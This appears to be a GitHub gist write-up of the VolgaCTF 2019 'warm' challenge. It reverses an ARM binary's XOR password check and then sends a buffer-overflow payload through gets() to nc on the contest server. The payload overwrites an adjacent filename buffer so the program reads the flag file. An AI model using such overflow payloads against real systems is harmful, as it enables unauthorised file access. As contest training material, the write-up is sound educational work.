Skip to content

Instantly share code, notes, and snippets.

@loskutov
Created March 31, 2019 16:08
Show Gist options
  • Save loskutov/fc24ce8ee6de945ec672bcf748a49991 to your computer and use it in GitHub Desktop.
Save loskutov/fc24ce8ee6de945ec672bcf748a49991 to your computer and use it in GitHub Desktop.
Writeup for VolgaCTF 2019 Quals task warm

We're given an ARM binary. Decompiling it with Ghidra (and adding some names) gives us the following:

undefined4 FUN_000109ec(void)

{
  int iVar1;
  int __c;
  FILE *__stream;
  char password [100];
  char filename [100];
  
  iVar1 = __stack_chk_guard;
  setvbuf(stdout,(char *)0x0,2,0);
  while( true ) {
    while( true ) {
      get_flag_name(filename);
      puts("Hi there! I\'ve been waiting for your password!");
      gets(password);
      __c = check_password(password);
      if (__c == 0) break;
      report_error(1,0);
    }
    __stream = fopen(filename,"rb");
    if (__stream != (FILE *)0x0) break;
    report_error(2,filename);
  }
  while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) {
    putchar(__c);
  }
  fclose(__stream);
  if (iVar1 == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

It looks like what we have to do is reverse the check_password subroutine.

undefined4 check_password(byte *pbParm1)

{
  size_t sVar1;
  undefined4 uVar2;
  
  sVar1 = strlen((char *)pbParm1);
  if (sVar1 < 0x10) {
    uVar2 = 1;
  }
  else {
    if (((((*pbParm1 == 0x76) && ((pbParm1[1] ^ *pbParm1) == 0x4e)) &&
         ((pbParm1[2] ^ pbParm1[1]) == 0x1e)) &&
        ((((pbParm1[3] ^ pbParm1[2]) == 0x15 && ((pbParm1[4] ^ pbParm1[3]) == 0x5e)) &&
         (((pbParm1[5] ^ pbParm1[4]) == 0x1c &&
          (((pbParm1[6] ^ pbParm1[5]) == 0x21 && ((pbParm1[7] ^ pbParm1[6]) == 1)))))))) &&
       (((pbParm1[8] ^ pbParm1[7]) == 0x34 &&
        ((((((pbParm1[9] ^ pbParm1[8]) == 7 && ((pbParm1[10] ^ pbParm1[9]) == 0x35)) &&
           ((pbParm1[0xb] ^ pbParm1[10]) == 0x11)) &&
          (((pbParm1[0xc] ^ pbParm1[0xb]) == 0x37 && ((pbParm1[0xd] ^ pbParm1[0xc]) == 0x3c)))) &&
         (((pbParm1[0xe] ^ pbParm1[0xd]) == 0x72 && ((pbParm1[0xf] ^ pbParm1[0xe]) == 0x47)))))))) {
      uVar2 = 0;
    }
    else {
      uVar2 = 2;
    }
  }
  return uVar2;
}

Looks pretty straightforward:

>>> x = '\x76'
>>> x += chr(ord(x[-1]) ^ 0x4e)
>>> x += chr(ord(x[-1]) ^ 0x1e)
>>> x += chr(ord(x[-1]) ^ 0x15)
>>> x += chr(ord(x[-1]) ^ 0x5e)
>>> x += chr(ord(x[-1]) ^ 0x1c)
>>> x += chr(ord(x[-1]) ^ 0x21)
>>> x += chr(ord(x[-1]) ^ 0x1)
>>> x += chr(ord(x[-1]) ^ 0x34)
>>> x += chr(ord(x[-1]) ^ 0x7)
>>> x += chr(ord(x[-1]) ^ 0x35)
>>> x += chr(ord(x[-1]) ^ 0x11)
>>> x += chr(ord(x[-1]) ^ 0x37)
>>> x += chr(ord(x[-1]) ^ 0x3c)
>>> x += chr(ord(x[-1]) ^ 0x72)
>>> x += chr(ord(x[-1]) ^ 0x47)
>>> x
'v8&3mqPQebWFqM?x'

Let's try the password:

$ nc warm.q.2019.volgactf.ru 443
Hi there! I've been waiting for your password!
v8&3mqPQebWFqM?x
Seek file with something more sacred!

Hmm, the file doesn't actually contain a flag! Let's recall the first subroutine analyzed:

  char password [100];
  char filename [100];

It's easy to overflow the password buffer and write arbitrary content into filename. "Something sacred", you said?

$ nc warm.q.2019.volgactf.ru 443
Hi there! I've been waiting for your password!
v8&3mqPQebWFqM?xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasacred
VolgaCTF{1_h0pe_ur_wARM_up_a_1ittle}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment